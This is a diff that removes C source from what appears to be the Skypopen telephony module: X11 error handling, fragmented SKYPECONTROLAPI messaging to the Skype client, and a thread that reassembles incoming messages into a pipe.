-int X11_errors_handler(Display * dpy, XErrorEvent * err)
-{
-       private_t *tech_pvt = NULL;
-       (void) dpy;
-
-       xerror = err->error_code;
-       ERRORA("Received error code %d from X Server\n\n", SKYPOPEN_P_LOG, xerror);
-       return 0;                                       /*  ignore the error */
-}
-
-static void X11_errors_trap(void)
-{
-       xerror = 0;
-       old_handler = XSetErrorHandler(X11_errors_handler);
-}
-
-static int X11_errors_untrap(void)
-{
-       XSetErrorHandler(old_handler);
-       return (xerror != BadValue) && (xerror != BadWindow);
-}
-
-int skypopen_send_message(private_t * tech_pvt, const char *message_P)
-{
-       struct SkypopenHandles *SkypopenHandles = &tech_pvt->SkypopenHandles;
-       Window w_P = SkypopenHandles->skype_win;
-       Display *disp = SkypopenHandles->disp;
-       Window handle_P = SkypopenHandles->win;
-       int ok;
-
-
-       Atom atom1 = XInternAtom(disp, "SKYPECONTROLAPI_MESSAGE_BEGIN", False);
-       Atom atom2 = XInternAtom(disp, "SKYPECONTROLAPI_MESSAGE", False);
-       unsigned int pos = 0;
-       unsigned int len = strlen(message_P);
-       XEvent e;
-
-       memset(&e, 0, sizeof(e));
-       e.xclient.type = ClientMessage;
-       e.xclient.message_type = atom1; /*  leading message */
-       e.xclient.display = disp;
-       e.xclient.window = handle_P;
-       e.xclient.format = 8;
-
-       X11_errors_trap();
-       do {
-               unsigned int i;
-               for (i = 0; i < 20 && i + pos <= len; ++i)
-                       e.xclient.data.b[i] = message_P[i + pos];
-               XSendEvent(disp, w_P, False, 0, &e);
-
-               e.xclient.message_type = atom2; /*  following messages */
-               pos += i;
-       } while (pos <= len);
-
-       XSync(disp, False);
-       ok = X11_errors_untrap();
-
-       if (!ok) {
-               ERRORA("Sending message failed with status %d\n", SKYPOPEN_P_LOG, xerror);
-               tech_pvt->running = 0;
-               return 0;
-       }
-
-       return 1;
-}
-
-int skypopen_signaling_write(private_t * tech_pvt, char *msg_to_skype)
-{
-
-       DEBUGA_SKYPE("SENDING: |||%s||||\n", SKYPOPEN_P_LOG, msg_to_skype);
-
-
-       if (!skypopen_send_message(tech_pvt, msg_to_skype)) {
-               ERRORA
-                       ("Sending message failed - probably Skype crashed.\n\nPlease shutdown Skypopen, then restart Skype, then launch Skypopen and try again.\n",
-                        SKYPOPEN_P_LOG);
-               return -1;
-       }
-
-       return 0;
-
-}
-
-int skypopen_present(struct SkypopenHandles *SkypopenHandles)
-{
-       Atom skype_inst = XInternAtom(SkypopenHandles->disp, "_SKYPE_INSTANCE", True);
-
-       Atom type_ret;
-       int format_ret;
-       unsigned long nitems_ret;
-       unsigned long bytes_after_ret;
-       unsigned char *prop;
-       int status;
-       private_t *tech_pvt = NULL;
-
-       X11_errors_trap();
-       status =
-               XGetWindowProperty(SkypopenHandles->disp, DefaultRootWindow(SkypopenHandles->disp),
-                                                  skype_inst, 0, 1, False, XA_WINDOW, &type_ret, &format_ret, &nitems_ret, &bytes_after_ret, &prop);
-       X11_errors_untrap();
-
-       /*  sanity check */
-       if (status != Success || format_ret != 32 || nitems_ret != 1) {
-               SkypopenHandles->skype_win = (Window) - 1;
-               DEBUGA_SKYPE("Skype instance not found\n", SKYPOPEN_P_LOG);
-               running = 0;
-               SkypopenHandles->api_connected = 0;
-               return 0;
-       }
-
-       SkypopenHandles->skype_win = *(const unsigned long *) prop & 0xffffffff;
-       DEBUGA_SKYPE("Skype instance found with id #%d\n", SKYPOPEN_P_LOG, (unsigned int) SkypopenHandles->skype_win);
-       SkypopenHandles->api_connected = 1;
-       return 1;
-}
-
-void skypopen_clean_disp(void *data)
-{
-
-       int *dispptr;
-       int disp;
-       private_t *tech_pvt = NULL;
-
-       dispptr = data;
-       disp = *dispptr;
-
-       if (disp) {
-               DEBUGA_SKYPE("to be destroyed disp %d\n", SKYPOPEN_P_LOG, disp);
-               close(disp);
-               DEBUGA_SKYPE("destroyed disp\n", SKYPOPEN_P_LOG);
-       } else {
-               DEBUGA_SKYPE("NOT destroyed disp\n", SKYPOPEN_P_LOG);
-       }
-       DEBUGA_SKYPE("OUT destroyed disp\n", SKYPOPEN_P_LOG);
-       skypopen_sleep(1000);
-}
-
-void *skypopen_do_skypeapi_thread_func(void *obj)
-{
-
-       private_t *tech_pvt = obj;
-       struct SkypopenHandles *SkypopenHandles;
-       char buf[512];
-       Display *disp = NULL;
-       Window root = -1;
-       Window win = -1;
-       int xfd;
-
-       if (!strlen(tech_pvt->X11_display))
-               strcpy(tech_pvt->X11_display, getenv("DISPLAY"));
-
-       if (!tech_pvt->tcp_srv_port)
-               tech_pvt->tcp_srv_port = 10160;
-
-       if (!tech_pvt->tcp_cli_port)
-               tech_pvt->tcp_cli_port = 10161;
-
-       if (pipe(tech_pvt->SkypopenHandles.fdesc)) {
-               fcntl(tech_pvt->SkypopenHandles.fdesc[0], F_SETFL, O_NONBLOCK);
-               fcntl(tech_pvt->SkypopenHandles.fdesc[1], F_SETFL, O_NONBLOCK);
-       }
-       SkypopenHandles = &tech_pvt->SkypopenHandles;
-       disp = XOpenDisplay(tech_pvt->X11_display);
-       if (!disp) {
-               ERRORA("Cannot open X Display '%s', exiting skype thread\n", SKYPOPEN_P_LOG, tech_pvt->X11_display);
-               running = 0;
-               return NULL;
-       } else {
-               DEBUGA_SKYPE("X Display '%s' opened\n", SKYPOPEN_P_LOG, tech_pvt->X11_display);
-       }
-
-       xfd = XConnectionNumber(disp);
-       fcntl(xfd, F_SETFD, FD_CLOEXEC);
-
-       SkypopenHandles->disp = disp;
-
-       if (skypopen_present(SkypopenHandles)) {
-               root = DefaultRootWindow(disp);
-               win = XCreateSimpleWindow(disp, root, 0, 0, 1, 1, 0, BlackPixel(disp, DefaultScreen(disp)), BlackPixel(disp, DefaultScreen(disp)));
-
-               SkypopenHandles->win = win;
-
-               snprintf(buf, 512, "NAME skypopen");
-
-               if (!skypopen_send_message(tech_pvt, buf)) {
-                       ERRORA("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch Skypopen again\n", SKYPOPEN_P_LOG);
-                       running = 0;
-                       return NULL;
-               }
-
-               snprintf(buf, 512, "PROTOCOL 7");
-               if (!skypopen_send_message(tech_pvt, buf)) {
-                       ERRORA("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch Skypopen again\n", SKYPOPEN_P_LOG);
-                       running = 0;
-                       return NULL;
-               }
-
-               {
-                       /* perform an events loop */
-                       XEvent an_event;
-                       char buf[21];           /*  can't be longer */
-                       char buffer[17000];
-                       char continuebuffer[17000];
-                       char *b;
-                       int i;
-                       int continue_is_broken = 0;
-                       int there_were_continues = 0;
-                       Atom atom_begin = XInternAtom(disp, "SKYPECONTROLAPI_MESSAGE_BEGIN", False);
-                       Atom atom_continue = XInternAtom(disp, "SKYPECONTROLAPI_MESSAGE", False);
-
-                       memset(buffer, '\0', 17000);
-                       memset(continuebuffer, '\0', 17000);
-                       b = buffer;
-
-                       while (running && tech_pvt->running) {
-                               XNextEvent(disp, &an_event);
-                               if (!(running && tech_pvt->running))
-                                       break;
-                               switch (an_event.type) {
-                               case ClientMessage:
-
-                                       if (an_event.xclient.format != 8) {
-                                               skypopen_sleep(1000);   //0.1 msec
-                                               break;
-                                       }
-
-                                       for (i = 0; i < 20 && an_event.xclient.data.b[i] != '\0'; ++i)
-                                               buf[i] = an_event.xclient.data.b[i];
-
-                                       buf[i] = '\0';
-
-                                       if (an_event.xclient.message_type == atom_begin) {
-                                               if (strlen(buffer)) {
-                                                       unsigned int howmany;
-                                                       howmany = strlen(b) + 1;
-                                                       howmany = write(SkypopenHandles->fdesc[1], b, howmany);
-                                                       WARNINGA
-                                                               ("A begin atom while the previous message is not closed???? value of previous message (between vertical bars) is=|||%s|||, will be lost\n",
-                                                                SKYPOPEN_P_LOG, buffer);
-                                                       memset(buffer, '\0', 17000);
-                                               }
-                                               if (continue_is_broken) {
-                                                       continue_is_broken = 0;
-                                                       there_were_continues = 1;
-                                               }
-                                       }
-                                       if (an_event.xclient.message_type == atom_continue) {
-                                               if (!strlen(buffer)) {
-                                                       DEBUGA_SKYPE
-                                                               ("Got a 'continue' XAtom without a previous 'begin'. It's value (between vertical bars) is=|||%s|||, let's store it and hope next 'begin' will be the good one\n",
-                                                                SKYPOPEN_P_LOG, buf);
-                                                       strcat(continuebuffer, buf);
-                                                       continue_is_broken = 1;
-                                                       if (!strncmp(buf, "ognised identity", 15)) {
-                                                               WARNINGA
-                                                                       ("Got a 'continue' XAtom without a previous 'begin'. It's value (between vertical bars) is=|||%s|||. Let's introduce a 1 second delay.\n",
-                                                                        SKYPOPEN_P_LOG, buf);
-                                                               skypopen_sleep(1000000);        //1 sec
-                                                       }
-                                                       skypopen_sleep(1000);   //0.1 msec
-                                                       break;
-                                               }
-                                       }
-                                       if (continue_is_broken) {
-                                               XFlush(disp);
-                                               skypopen_sleep(1000);   //0.1 msec
-                                               continue;
-                                       }
-                                       strcat(buffer, buf);
-                                       strcat(buffer, continuebuffer);
-                                       memset(continuebuffer, '\0', 17000);
-
-                                       if (i < 20 || there_were_continues) {   /* last fragment */
-                                               unsigned int howmany;
-
-                                               howmany = strlen(b) + 1;
-                                               howmany = write(SkypopenHandles->fdesc[1], b, howmany);
-                                               memset(buffer, '\0', 17000);
-                                               XFlush(disp);
-                                               there_were_continues = 0;
-                                       }
-
-                                       skypopen_sleep(1000);   //0.1 msec
-                                       break;
-                               default:
-                                       skypopen_sleep(1000);   //0.1 msec
-                                       break;
-                               }
-                       }
-               }
-       } else {
-               ERRORA("Skype is not running, maybe crashed. Please run/restart Skype and relaunch Skypopen\n", SKYPOPEN_P_LOG);
-               running = 0;
-               return NULL;
-       }
-       return NULL;
-
-}
-#endif // WIN32